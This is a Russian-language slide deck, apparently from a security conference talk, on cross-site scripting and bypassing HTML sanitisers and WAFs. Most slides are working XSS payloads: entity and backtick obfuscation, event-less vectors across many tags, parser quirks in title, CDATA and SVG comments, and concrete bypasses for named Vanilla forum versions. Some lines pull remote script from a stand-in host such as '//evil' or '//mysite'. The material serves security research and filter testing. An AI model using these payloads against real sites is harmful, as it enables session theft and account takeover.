  • 3. Внедрить собственный сценарий с внешнего сайта - победа
  • 4. Импорт другой страницы <link rel=“import” href=“//mysite”>
  • 5. Переопределение базового адреса текущего документа <base href=“//mysite”> Все относительные ссылки после вызова base будут вызываться из указанного источника.
  • 6. • Что попадает в атрибуты можно преобразовать в другое представление символов – HTML сущности (мнемоники)
  • 8. Некоторые entities игнорируются вовсе Табуляция &Tab; &#09; Перенос строки &NewLine; &#x0A; &#10;
  • 10. Перед шестнадцатеричными и десятичными сущностями могут быть нули. А перед &#0-9; вовсе и не быть нулей Например &#9; - валидная табуляция
  • 11. А еще точка с запятой не обязательна, если следующий после entity символ не входит в его группу символов 
  • 13. И как я уже говорил, во всех атрибутах <a href="//&bsol;&sol;&commat;g&NoBreak;o&ZeroWidthSpace;o&z wnj;g&zwj;l&shy;e&NewLine;.&Tab;com">clickme</a> Это ссылка на google.com
  • 14. В протоколе data не обязательно указывать тип контента <script src=data:,alert()>
  • 15. Для выполнения функции не обязательно использовать скобки! … И точку … И знак равно … И буквы вообще
  • 17. • Его можно использовать для вызова функций <script>alert`1`</script> • Его можно использовать для передачи строки document[`cookie`] • Им можно «вырезать» неугодные нам части при двух уязвимых параметрах, или если наши данные вставляются 2 раза. Бэктик – твой лучший друг
  • 18. document.documentElement.innerHTML=location.hash (пишем на страницу данные после # в ссылке) https://example.com/page.html#<script>alert()</script> Отлично работают в паре
  • 19. Все что между /слэшами/ - регулярное выражение alert(/1/) Добавление к регулярному выражению .source – возвращает оригинальную строку eval(/alert()/.source)
  • 20. Обращения в контексте текущего домена не будет заблокировано хромом Например если попытаться вызвать <script src=/test.js> Импорт на импорт
  • 21. Если в пути у сайта есть XSS, как часто бывает: "Страницы /<script>alert()</script>/index.html не существует!” Ты спокойно можешь импортировать xss в текущую страницу <link rel=import href="/<script>alert()</script>/index.html"> Импорт на импорт
  • 23. Импортом можно вызывать ранее недоступные нам функции <link rel=“import” href=“/page.html”> (страница, где подключается jquery) => <svg onload=$.GetScript(‘//evil’)>
  • 24. Загруженный файл (например, изображение) может быть интерпретирован как js* Но еще круче, любой загруженный файл может быть интерпретирован как html ?id=“><link rel=import href=“/static/userfile/myphoto.jpg”>
  • 25. Внутри строк js тоже много фич, например перевод символов в другие представления (x22, u0022), неявные вызовы функций
  • 26. • http://utf-8.jp/public/jjencode.html Вызов функции с помощью кучи спецсимволов)) • https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html Вызов функции с помощью символов [+|>] • http://www.jsfuck.com/ Вызов функции с помощью символов ()+[]! Ну и прочая наркомания
  • 27. • onerror=eval;throw'=alertx281x29’ • toString=alert;window+'' • setTimeout`confirmu0028document.domainx29` • set.constructor`alertx28document.domainx29```
  • 28.
  • 29. Где можно встретить HTML фильтры? • WYSIWYG редакторы • WAFы • WEB почта • И ещё где-нибудь в интернете
  • 30. Какие бывают фильтры? • Чёрный список <randomtag onevent="test">randomtag</randomtag> <randomtag>randomtag text</randomtag> Randomtag text HTML code • Белый список <randomtag onevent="test">randomtag text</randomtag>
  • 31. Фаззинг HTML • Фильтр по чёрному списку - Фаззим атрибуты событий если пропустило onevent - Фаззим XSS вектора без событий - Фаззим HTML теги - Фаззим HTML теги и особенности их фильтрации • Фильтр по белому списку - Фаззим XSS вектора без событий - Фаззим HTML теги и особенности их фильтрации
  • 32. XSS вектора без событий <!-- <a> --> Атрибут href <a href="javascript:alert(1)">click</a> <a target="random" href="data:text/html,<script>opener.alert(1)</script>">click</a> <!-- <base> --> Атрибут href <base href="javascript:alert(1)"> <a href="#">click</a> </base> <!-- <button> --> Атрибут formaction <form> <button formaction="javascript:alert(1)">click</button> </form>
  • 33. XSS вектора без событий <!-- <embed> [FireFox only] --> Атрибут src <embed src="javascript:alert(1)"></embed> <!-- <form> --> Атрибут action <form action="javascript:alert(1)"> <button>click</button> </form> <!-- <iframe> --> Атрибут src <iframe src="javascript:alert(1)"></iframe> Атрибут srcdoc <iframe srcdoc="<script>alert(1)</script>"></iframe>
  • 34. XSS вектора без событий <!-- <input> --> Атрибут formaction <form> <input type="submit" formaction="javascript:alert(1)" value="click" /> <input type="image" src="https://google.com/favicon.ico" formaction="javascript:alert(1)" /> </form> <!-- <isindex> [Safari only] --> Атрибут action <isindex action="javascript:alert(1)" type="submit" value="click"></isindex> <isindex action="javascript:alert(1)" type="image" src="https://google.com/favicon.ico"></isindex> Атрибут formaction <isindex formaction="javascript:alert(1)" type="submit" value="click"></isindex> <isindex formaction="javascript:alert(1)" type="image" src="https://google.com/favicon.ico"></isindex>
  • 35. XSS вектора без событий <!-- <link> [Chrome only] --> Атрибут href <link rel="import" href="data:,<script>alert(1)</script>"> <!-- <math> [FireFox only] --> Атрибут xml:base <math xml:base="javascript:alert(1)//"> <mrow href="#">click</mrow> <mtext> <iframe src="#"></iframe> </mtext> </math> Атрибут xlink:href <math> <randomtag xlink:href="javascript:alert(1)">click</randomtag> </math>
  • 36. XSS вектора без событий <!-- <object> --> Атрибут data [FireFox only] <object data="javascript:alert(1)"> + Тег <param> и аттрибут value <object allowscriptaccess="always"> <param name="src" value="https://html5sec.org/test.swf"> </object> <object allowscriptaccess="always"> <param name="movie" value="https://html5sec.org/test.swf"> </object> <object allowscriptaccess="always"> <param name="code" value="https://html5sec.org/test.swf"> </object> <object allowscriptaccess="always"> <param name="url" value="https://html5sec.org/test.swf"> </object>
  • 37. XSS вектора без событий <!-- <svg> --> Аттрибут xml:base [FireFox only] <svg xml:base="javascript:alert(1)//"> <a href="#"> <circle cx="100" cy="75" r="50"></circle> </a> <desc> <iframe src="#"></iframe> </desc> </svg> + Тег <script> и аттрибут xlink:href <svg> <script xlink:href="data:,alert(1)"></script> </svg>
  • 38. XSS вектора без событий <!-- <svg> --> + Тег <a> и аттрибут xlink:href <svg> <a xlink:href="javascript:alert(1)">click</a> </svg> + Тег <use> и аттрибут xlink:href [FireFox only] <svg> <use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0ic3ZnaWQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8 yMDAwL3N2ZyI+Cgk8Zm9yZWlnbk9iamVjdD4KCQk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE 5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+Cgk8L2ZvcmVpZ25PYmplY3Q+Cjw vc3ZnPg==#svgid" /> </svg>
  • 39. XSS вектора без событий <!-- <svg> --> + Тег <animate> и аттрибут from <svg> <a> <animate attributeName="href" from="javascript:alert(1)" to="to" dur="100" begin="0" repeatCount=1 /> <circle cx="150" cy="100" r=50></circle> </a> </svg> + Тег <animate> и аттрибут to <svg> <a> <animate attributeName="href" from="" to="javascript:alert(1)" repeatCount="1" /> <circle cx="150" cy="100" r=50></circle> </a> </svg>
  • 40. XSS вектора без событий <!-- <svg> --> + Тег <set> и аттрибут to <svg> <a> <set attributeName="href" from="" to="javascript:alert(1)" attributeType="XML"/> <circle cx="100" cy="75" r="50"></circle> </a> </svg>
  • 42. Особенности фильтрации. <select><option>select</option></select> <math>math</math> <svg>svg</svg> Волшебные теги <style><test test="<test>">test</test></style> Волшебный плейнтекст который невозможно закрыть <plaintext><test test="<test>">test</test> Коментарии <!--<test test="<test>">test</test>--> <![CDATA[<test test="<test>">test</test>]]> <!<test test="<test>">test<!</test> <?<test test="<test>">test<?</test>
  • 43. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов. <title><test test=“<test>”></title>
  • 44. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов. • XSS вектор: <title><test test=“<test>”></title> <title><img alt=“</title><svg/onload=alert(1)>”></title>
  • 45. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов, но значение атрибутов энкодится в сущности. <title><test test=“&lt;test&gt;”></title>
  • 46. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов, но значение атрибутов энкодится в сущности. - Фаззим другие атрибуты <title><test test=“&lt;test&gt;”></title>
  • 47. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов, но значение атрибутов энкодится в сущности. - Фаззим другие атрибуты - Используем теги math/svg/title <title><test test=“&lt;test&gt;”></title> <math> <title> <i> <script>alert(1)</script> </i> </title> </math>
  • 50. Особенности фильтрации. • Парсер CSS <title>&lt;test test=“&lt;test&gt;"&gt;</title> <style><!-- error --></style>
  • 51. Особенности фильтрации. • Парсер CSS - Фаззинг свойств CSS - Применяем теги math/svg/title <title>&lt;test test=“&lt;test&gt;"&gt;</title> <style><!-- error --></style> <style> body { %color%:"<test test=test>"; } </style>
  • 52. Особенности фильтрации. • Волшебные теги вернулись отфильтрованными, но содержимое коментариев нет. <title>&lt;test test=“&lt;test&gt;”&gt;</title> <!--<test test="<test>">test</test>--> <![CDATA[<test test="<test>">test</test>]]> <?<test test="<test>">test<!</test>
  • 53. Особенности фильтрации. • Многострочный комментарий внутри волшебного тега внутри SVG. • [1] - title, desc, foreignObject • [2] - title, style, xmp, textarea, iframe, noframes, noembed, noscript <svg> <title [1]> <title [2]> <!--</title></title><script>alert(1)</script>--> </title> </title> </svg>
  • 54. Особенности фильтрации. • Секция CDATA в HTML <![CDATA[<script>alert(1)</script>]]>
  • 55. Особенности фильтрации. • Секция CDATA в HTML • XSS вектор: <![CDATA[<script>alert(1)</script>]]> <![CDATA[><script>alert(1)</script>]]>
  • 56. Особенности фильтрации. • Секция CDATA в HTML • XSS вектор: • Загадочные комментарии и трюк с волшебными тегами <![CDATA[<script>alert(1)</script>]]> <title><?<img alt=“<?</title><?<iframe src=javascript:alert(1)>”></title> <![CDATA[><script>alert(1)</script>]]>
  • 57. Особенности фильтрации. • Фаззинг вложенных тегов. • Реальные находки в Vanilla forum (HTMLawed) - Vanilla < 2.1.1 (реузльтат <img alt="<img qwe">) XSS вектор: <%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%="<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>"> <%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%='<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>'> <img src="src" alt="image">"&gt;<br>img alt="<img qwe" src="src"> <img alt="<img onerror=alert(1)//">
  • 58. Особенности фильтрации. - Vanilla < 2.2.1 (результат <font color='<img//asd'>) XSS вектор: span style="color: <img//asd;"> <font color='<img//onerror="alert(1)"src=s'>
  • 59. Подписываемся на канал, ставим лайки. Антон Лопаницын @i_bo0om Игорь Сак-Саковский @psych0tr1a